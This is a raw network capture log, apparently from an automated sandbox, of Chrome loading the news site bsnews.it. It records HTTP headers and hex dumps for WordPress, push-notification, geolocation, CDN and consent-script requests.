2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 41 18 13 a0 48 7e 8a d7 cc c9 be 61 f9 9d b8 63 01 f8 81 56 ba 33 be 5b 80 03 59 aa 0f 88 08 9d 40 47 35 e5 fa 98 56 81 9c 1f cd 0b 05 0c 85 df fc 92 be f5 00 16 b4 54 20 8e bc db 32 80 5c d9 ed 84 2d 2f 30 25 5a ae 6e 64 7c d3 cd 1c 9e 91 d4 24 de 74 df 78 dc 00 eb 25 b0 39 1a d9 2d 0a 62 0d af fe 3d a3 31 a9 96 8e 38 d7 bf 70 2d 00 b0 54 22 c4 5d d0 3e 09 65 c8 7b 77 00 64 e5 7d 40 a2 86 12 ca 5b bd ea 1f 56 e2 10 e5 b1 52 9e f1 a1 90 e7 85 b3 9f 55 89 14 51 c4 32 2c cb 70 e0 85 55 82 19 65 9c e8 2a ff 00 31 03 72 d5 34 d5 bf 1a 8d 48 50 6b 2c ac 7f 82 3f 42 f6 82 55 1a 31 08 12 ed ae 20 19 65 13 5d bf ee 73 88 0b c5 d7 f6 1e 5d a6 aa 53 53 b5 df 51 46 6e 85 b1 dd a1 80 77 ce ea 6f a3 7c 84 82 33 37 e2 af f7 ac b7 c0 cb cf 20 1d 18 8d 82 a7 2f 51 a1 45 Data Ascii: AH~acV3[Y@G5VT 2\-/0%Znd\|$tx%9-b=18p-T"]>e{wd}@[VRUQ2,pUe*1r4HPk,?BU1 e]s]SSQFnwo\|37 /QE
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: e3 f6 c0 7b 3f 8b 03 fd 9c cc 7d 27 f3 38 9f e2 a6 68 f5 70 c0 fc bf 11 a9 ef 10 63 00 b2 85 8d 38 7d cc ed f6 75 92 b5 e4 7c 20 c1 93 e3 f8 98 8f 8f c1 2b 42 97 6b 8d cc da 62 5c a6 90 3e 00 41 89 0a 50 13 6d 13 40 57 79 b8 6a ee 3d 4d ea 51 08 11 03 6f 41 ea 8c a3 56 d0 6c c6 9c f7 1b 9d be 8c a8 31 9a d7 89 59 51 60 df 8a f2 c6 17 d1 86 b6 de ec 2c 34 f9 ce 61 df f8 58 af c3 2d 12 48 19 6d b3 fd c4 63 51 dd 4f 58 71 b6 39 a6 a2 98 52 f9 41 b1 5e c3 d2 58 39 ba aa d6 2b f7 ed 33 a4 ad 71 33 29 f2 4b 0d 71 4a 6a 0b f6 99 6a 90 22 f3 ab 7b 9e 59 90 ea f1 f8 83 d0 c2 25 20 2f 2b 8d bf 10 82 17 48 67 1e 60 f5 e5 27 97 aa 54 7f cc 20 d5 a8 62 91 85 bf c7 52 aa 2d 41 28 05 d4 2b 66 22 d9 55 9d 25 a1 ef 1c 64 3c 96 5c d7 d4 57 4d 0a 6e ef 78 58 8c c0 7c 04 92 Data Ascii: {?}'8hpc8}u\| +Bkb\>APm@Wyj=MQoAVl1YQ`,4aX-HmcQOXq9RA^X9+3q3)KqJjj"{Y% /+Hg`'T bR-A(+f"U%d<\WMnxX\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	49905	192.0.78.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	705	OUT	GET /wp-admin/rest-proxy/ HTTP/1.1 Host: public-api.wordpress.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://widgets.wp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	614	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding P3P: CP="CAO PSA OUR" Set-Cookie: wp_api=%20; expires=Wed, 29-Mar-2023 08:51:11 GMT; Max-Age=0; path=/wp-admin/rest-proxy/; domain=public-api.wordpress.com; secure; SameSite=None Set-Cookie: wp_api_sec=%20; expires=Wed, 29-Mar-2023 08:51:11 GMT; Max-Age=0; path=/; domain=public-api.wordpress.com; secure; HttpOnly; SameSite=None X-ac: 2.dca _dca BYPASS Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=86400
2024-03-28 08:51:11 UTC	755	IN	Data Raw: 31 65 30 32 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 5f 77 70 63 6f 6d 50 72 6f 78 79 52 65 71 75 65 73 74 48 61 73 43 6f 6f 6b 69 65 20 3d 20 66 61 6c 73 65 2c 20 5f 77 70 63 6f 6d 50 72 6f 78 79 52 65 71 75 65 73 74 44 43 20 3d 20 27 64 63 61 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 2f 73 30 2e 77 70 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 6a 73 2f 72 6c 74 2d 70 72 6f 78 79 2e 6a 73 3f 6d 3d 32 30 32 31 31 31 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 Data Ascii: 1e02<!DOCTYPE html><html><head><script>var _wpcomProxyRequestHasCookie = false, _wpcomProxyRequestDC = 'dca';</script><script type="text/javascript" src="//s0.wp.com/wp-content/js/rlt-proxy.js?m=20211122"></script><script type="text/javascript">
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 79 6f 6e 65 61 70 70 2e 63 6f 6d 22 2c 22 68 74 74 70 3a 2f 2f 77 69 64 67 65 74 73 2e 77 70 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 77 69 64 67 65 74 73 2e 77 70 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 64 65 76 2d 6d 63 2e 61 38 63 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 6d 63 2e 61 38 63 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 76 72 63 2e 61 38 63 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 64 73 65 72 76 65 2e 61 38 63 2e 63 6f 6d 22 2c 22 68 74 74 70 3a 2f 2f 63 61 6c 79 70 73 6f 2e 6c 6f 63 61 6c 68 6f 73 74 3a 33 30 30 30 22 2c 22 68 74 74 70 73 3a 2f 2f 63 61 6c 79 70 73 6f 2e 6c 6f 63 61 6c 68 6f 73 74 3a 33 30 30 30 22 2c 22 68 74 74 70 3a 2f 2f 6a 65 74 70 61 63 6b 2e 63 6c 6f 75 64 2e 6c 6f 63 61 6c 68 6f 73 74 3a 33 30 30 Data Ascii: yoneapp.com","http://widgets.wp.com","https://widgets.wp.com","https://dev-mc.a8c.com","https://mc.a8c.com","https://vrc.a8c.com","https://dserve.a8c.com","http://calypso.localhost:3000","https://calypso.localhost:3000","http://jetpack.cloud.localhost:300
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 2c 69 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 29 7b 61 3d 6f 2c 6f 3d 5b 5d 2c 6e 3d 7b 7d 2c 73 3d 7b 7d 2c 28 6f 3d 28 74 3d 65 29 26 26 74 2e 68 65 61 64 65 72 73 3f 74 2e 68 65 61 64 65 72 73 5b 30 5d 26 26 74 2e 68 65 61 64 65 72 73 5b 30 5d 2e 6e 61 6d 65 3f 74 2e 68 65 61 64 65 72 73 3a 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 2e 68 65 61 64 65 72 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 7b 6e 61 6d 65 3a 65 2c 76 61 6c 75 65 3a 74 2e 68 65 61 64 65 72 73 5b 65 5d 7d 7d 29 3a 6f 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 5b 65 2e 6e 61 6d 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 3d 65 2e 76 61 6c 75 65 7d 29 2c 64 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f Data Ascii: ,i){return function(e,o){a=o,o=[],n={},s={},(o=(t=e)&&t.headers?t.headers[0]&&t.headers[0].name?t.headers:Object.keys(t.headers).map(function(e){return{name:e,value:t.headers[e]}}):o).forEach(function(e){n[e.name.toUpperCase()]=e.value}),d.forEach(functio
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 26 30 3c 72 2e 66 6f 72 6d 44 61 74 61 2e 6c 65 6e 67 74 68 3f 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 2c 74 2c 61 2c 6e 2c 73 3d 6e 65 77 20 46 6f 72 6d 44 61 74 61 3b 66 6f 72 28 6f 20 69 6e 20 65 2e 62 6f 64 79 29 65 2e 62 6f 64 79 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6f 29 26 26 73 2e 61 70 70 65 6e 64 28 6f 2c 65 2e 62 6f 64 79 5b 6f 5d 29 3b 66 6f 72 28 6e 3d 30 3b 6e 3c 65 2e 66 6f 72 6d 44 61 74 61 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 66 6f 72 6d 44 61 74 61 5b 6e 5d 5b 31 5d 26 26 76 6f 69 64 20 30 21 3d 3d 65 2e 66 6f 72 6d 44 61 74 61 5b 6e 5d 5b 31 5d 2e 66 69 6c 65 43 6f 6e 74 65 6e 74 73 3f 28 6f 3d 65 2e 66 6f 72 6d 44 61 74 61 5b 6e 5d 5b 30 5d 2c 74 3d 65 Data Ascii: &0<r.formData.length?o=function(e){var o,t,a,n,s=new FormData;for(o in e.body)e.body.hasOwnProperty(o)&&s.append(o,e.body[o]);for(n=0;n<e.formData.length;n++)"object"==typeof e.formData[n][1]&&void 0!==e.formData[n][1].fileContents?(o=e.formData[n][0],t=e
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 4f 66 28 22 5c 6e 22 2c 6e 29 3b 69 66 28 6f 3c 30 29 62 72 65 61 6b 3b 68 5b 73 5d 3d 65 2e 72 65 73 70 6f 6e 73 65 2e 73 6c 69 63 65 28 6e 2c 6f 29 3b 76 61 72 20 74 2c 61 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 68 5b 73 5d 29 3b 61 2e 73 74 61 74 75 73 3c 32 30 30 26 26 28 74 3d 7b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6e 64 6a 73 6f 6e 3b 22 2c 73 74 61 74 75 73 3a 61 2e 73 74 61 74 75 73 7d 2c 77 28 5b 61 2e 62 6f 64 79 2c 32 30 37 2c 74 2c 73 5d 29 29 2c 6e 3d 6f 2b 31 7d 7d 29 7d 7d 2c 6e 3d 21 28 21 72 2e 62 6f 64 79 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 2e 62 6f 64 79 2e 73 74 72 65 61 6d 29 26 26 72 2e 62 6f 64 79 2e 73 74 72 65 61 6d 2c 72 2e 73 75 70 70 6f 72 74 73 5f 70 72 6f 67 72 65 73 73 26 26 Data Ascii: Of("\n",n);if(o<0)break;h[s]=e.response.slice(n,o);var t,a=JSON.parse(h[s]);a.status<200&&(t={"Content-Type":"application/x-ndjson;",status:a.status},w([a.body,207,t,s])),n=o+1}})}},n=!(!r.body\|\|void 0===r.body.stream)&&r.body.stream,r.supports_progress&&
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 73 3f 22 6d 73 69 65 22 3a 72 3f 22 65 64 67 65 22 3a 70 3f 22 63 68 72 6f 6d 65 22 3a 22 75 6e 6b 6e 6f 77 6e 22 29 2c 66 29 2b 22 3a 22 2b 6f 2b 22 7c 22 2b 74 2b 27 22 5d 7d 27 2c 21 30 7d 76 61 72 20 72 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 70 28 65 29 7b 64 65 6c 65 74 65 20 72 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 6f 2c 74 29 7b 76 61 72 20 61 2c 65 3b 6f 20 69 6e 20 72 3f 74 28 7b 62 6f 64 79 3a 7b 74 79 70 65 3a 22 65 72 72 6f 72 22 2c 74 65 78 74 3a 22 61 6c 72 65 61 64 79 20 73 75 62 73 63 72 69 62 65 64 22 7d 2c 63 6f 64 65 3a 34 34 34 7d 29 3a 28 61 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 28 65 3d 72 5b 6f 5d 3d 6e 65 77 20 57 65 62 53 6f 63 6b 65 74 28 22 77 73 73 3a 2f 2f 70 75 62 6c 69 63 2d 61 70 69 2e 77 Data Ascii: s?"msie":r?"edge":p?"chrome":"unknown"),f)+":"+o+"\|"+t+'"]}',!0}var r={};function p(e){delete r[e]}function k(o,t){var a,e;o in r?t({body:{type:"error",text:"already subscribed"},code:444}):(a=(new Date).getTime(),(e=r[o]=new WebSocket("wss://public-api.w
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 6f 28 7b 62 6f 64 79 3a 7b 74 79 70 65 3a 22 73 65 6e 74 22 7d 2c 63 6f 64 65 3a 32 30 31 7d 29 7d 63 61 74 63 68 28 65 29 7b 6f 28 7b 62 6f 64 79 3a 7b 74 79 70 65 3a 22 65 72 72 6f 72 22 7d 2c 63 6f 64 65 3a 36 30 30 7d 29 7d 65 6c 73 65 20 6f 28 7b 62 6f 64 79 0d 0a 35 30 30 0d 0a 3a 7b 74 79 70 65 3a 22 65 72 72 6f 72 22 7d 2c 63 6f 64 65 3a 34 30 34 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 76 61 72 20 6f 2c 74 3d 21 31 3b 69 66 28 6c 3d 3d 3d 65 2e 6f 72 69 67 69 6e 29 69 66 28 61 29 6e 2e 70 75 73 68 28 7b 64 61 74 61 3a 65 2e 64 61 74 61 2c 6f 72 69 67 69 6e 3a 65 2e 6f 72 69 67 69 6e 7d 29 3b 65 6c 73 65 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 64 61 74 61 29 7b 74 72 79 7b 6f 3d 4a 53 4f 4e 2e 70 61 72 73 Data Ascii: o({body:{type:"sent"},code:201})}catch(e){o({body:{type:"error"},code:600})}else o({body500:{type:"error"},code:404})}}function O(e){var o,t=!1;if(l===e.origin)if(a)n.push({data:e.data,origin:e.origin});else{if("string"==typeof e.data){try{o=JSON.pars
2024-03-28 08:51:11 UTC	13	IN	Data Raw: 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	49907	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:11 UTC	516	OUT	OPTIONS /v1/trk/adv HTTP/1.1 Host: audience.codesour.tech Connection: keep-alive Cache-Control: max-age=0 Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization,content-type Origin: https://bsnews.it User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	474	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:11 GMT Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: authorization, content-type Access-Control-Max-Age: 3600 Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	49909	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:11 UTC	602	OUT	GET /codesour/assets/codesour-logo.png HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	596	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: image/png Content-Length: 23963 Connection: close Last-Modified: Fri, 29 Dec 2023 10:11:19 GMT x-rgw-object-type: Normal ETag: "019116981fc1e850d6aa810db0a61d20-1" x-amz-request-id: tx00000cba610f758b2ef6c-00658ea2b0-2bbc492-prg X-77-NZT: AyUTzgQ3Nzf/xTcCALk73xQ3Nzf/dSwAAG09WgLyjOMA X-77-NZT-Ray: 8e305f1c42019f3d7f2f056633010622 X-Accel-Expires: @1711987856 X-Accel-Date: 1711470522 X-77-Cache: HIT X-77-Age: 156730 Server: CDN77-Turbo X-Cache: HIT X-Age: 145349 X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:11 UTC	15788	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 ef 00 00 03 ef 08 06 00 00 00 b2 7a ff 25 00 00 00 09 70 48 59 73 00 00 00 01 00 00 00 01 00 4f 25 c4 d6 00 00 00 24 7a 54 58 74 43 72 65 61 74 6f 72 00 00 08 99 73 4c c9 4f 4a 55 70 4c 2b 49 2d 52 70 4d 4b 4b 4d 2e 29 06 00 41 7a 06 ce 6a 7a 15 c5 00 00 20 00 49 44 41 54 78 9c ec dd e1 75 1c c5 b6 36 e0 5d 77 dd ff e6 44 60 7d 11 d8 44 e0 21 02 4c 04 e8 44 60 13 01 22 02 4c 04 cc 89 00 39 02 da 11 20 45 70 e5 08 8e 15 41 7d 3f a6 85 65 23 5b ea d1 f4 ec aa ee e7 59 4b cb c0 02 cf 7b 4e 5b 9a d9 5d 6f 57 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRz%pHYsO%$zTXtCreatorsLOJUpL+I-RpMKKM.)Azjz IDATxu6]wD`}D!LD`"L9 EpA}?e#[YK{N[]oWE
2024-03-28 08:51:11 UTC	8175	IN	Data Raw: 69 6f b5 d6 37 11 f1 2a 3b 07 30 9f 52 8a 79 00 3a e1 9b 15 1a 65 78 e7 2b ae 23 e2 64 5c 01 a6 61 0f d8 f8 ae e5 ba fc 26 22 fe cc ce 01 cc cb f0 0e fd b0 61 1d 40 7f 4e 0d ee 7d 78 c0 c6 77 ea f2 40 a6 eb ec 00 c0 c3 79 e6 1d da 65 38 e3 2e 6f 9d c7 db af 52 ca 45 44 5c 44 c4 59 72 94 fb 9c c5 61 36 e2 03 da 76 91 1d 00 78 38 2b ef d0 2e 6f a8 7c ee 3a 22 4e b3 43 b0 6c 63 5d de 73 ee 00 d0 18 c3 3b 40 3f d4 e5 99 95 ba 3c 00 b4 cb f0 0e d0 8f 6d ad f5 bc d6 7a 3a 6e 84 06 87 76 16 ea f2 b0 26 6e 08 43 47 3c f3 0e ed ba ca 0e 40 73 9e c4 ee 1c f1 ef 23 22 6a ad ef 63 77 d6 f8 e0 39 78 1e 4b 5d 1e 56 c9 23 7a d0 11 2b ef d0 a8 16 77 a0 a6 39 4f 63 37 6c fd 51 77 86 5a eb eb 5a eb f3 ec 60 f4 45 5d 1e 00 da 67 e5 1d 60 39 5e 8c 5f 37 ab f2 c3 f8 75 ee 59 Data Ascii: io7*;0Ry:ex+#d\a&"a@N}xw@ye8.oRED\DYra6vx8+.o\|:"NClc]s;@?<mz:nv&nCG<@s#"jcw9xK]V#z+w9Oc7lQwZZ`E]g`9^_7uY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	49908	104.16.144.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:11 UTC	681	OUT	GET /webPushIframe HTTP/1.1 Host: bsnews.os.tc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	662	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin Cache-Control: public, max-age=3600 pragma: no-cache expires: Thu, 28 Mar 2024 09:51:11 GMT x-request-id: 95541e94-28f3-496b-8466-2c41fc4c2aad x-runtime: 0.012905 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 1032 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b6607e5efc3ae8-IAD
2024-03-28 08:51:11 UTC	508	IN	Data Raw: 31 66 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6f 6e 65 73 69 67 6e 61 6c 2e 63 6f 6d 2f 73 64 6b 73 2f 4f 6e 65 53 69 67 6e 61 6c 53 44 4b 2e 6a 73 22 20 61 73 79 6e 63 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 4f 6e 65 53 69 67 6e 61 6c 20 3d 20 4f 6e 65 53 69 67 6e 61 6c 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 4f 6e 65 53 69 67 6e 61 6c 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 4f 6e 65 53 69 67 6e 61 6c 2e 5f 69 6e 69 74 48 74 74 70 28 7b 0a 20 20 20 20 20 20 20 20 Data Ascii: 1f5<!DOCTYPE html><html> <head> <script src="https://cdn.onesignal.com/sdks/OneSignalSDK.js" async></script> <script> var OneSignal = OneSignal \|\| []; OneSignal.push(function() { OneSignal._initHttp({
2024-03-28 08:51:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	49910	143.244.35.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:11 UTC	563	OUT	GET /geotarget/geocity.php?dnt=1 HTTP/1.1 Host: services.sunmedia.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	378	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, s-maxage=3600 X-Device: desktop Age: 358 TP-Cache: HIT Vary: Accept-Encoding, Accept-Encoding Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://bsnews.it
2024-03-28 08:51:11 UTC	73	IN	Data Raw: 34 33 0d 0a 7b 22 63 69 74 79 22 3a 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 67 65 6f 47 72 6f 75 70 22 3a 22 41 4e 22 2c 22 45 55 22 3a 66 61 6c 73 65 2c 22 72 65 67 69 6f 6e 22 3a 22 44 43 22 7d 7d 0a 0d 0a Data Ascii: 43{"city":{"country":"US","geoGroup":"AN","EU":false,"region":"DC"}}
2024-03-28 08:51:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	49911	192.96.201.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:11 UTC	526	OUT	GET /t/consent_215875.js HTTP/1.1 Host: clickiocmp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	378	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 12755 Last-Modified: Tue, 26 Mar 2024 12:21:26 GMT Connection: close ETag: "6602bdc6-31d3" Expires: Thu, 28 Mar 2024 09:21:11 GMT Cache-Control: max-age=1800 Access-Control-Allow-Origin: * ISEU: noneu Accept-Ranges: bytes
2024-03-28 08:51:11 UTC	12755	IN	Data Raw: 2f 2a 20 65 75 3a 20 30 20 2a 2f 0a 2f 2a 20 73 72 63 3a 20 32 30 32 34 2d 30 33 2d 31 34 20 31 36 3a 30 38 3a 32 33 20 47 4d 54 20 2a 2f 0d 0a 2f 2a 20 67 65 6e 3a 20 32 30 32 34 2d 30 33 2d 32 36 20 31 32 3a 32 31 3a 32 36 20 47 4d 54 20 2a 2f 0d 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 64 61 28 61 2c 62 2c 63 2c 6b 29 7b 62 7c 7c 28 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 6b 7c 7c 28 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 63 3d 63 7c 7c 77 3b 76 61 72 20 6d 3d 4a 28 22 73 63 72 69 70 74 22 2c 63 29 3b 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 29 3b 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 Data Ascii: /* eu: 0 // src: 2024-03-14 16:08:23 GMT // gen: 2024-03-26 12:21:26 GMT */;(function(){(function(){function da(a,b,c,k){b\|\|(b=function(){});k\|\|(k=function(){});c=c\|\|w;var m=J("script",c);m.setAttribute("type","text/javascript");m.setAttribute("s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	49912	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

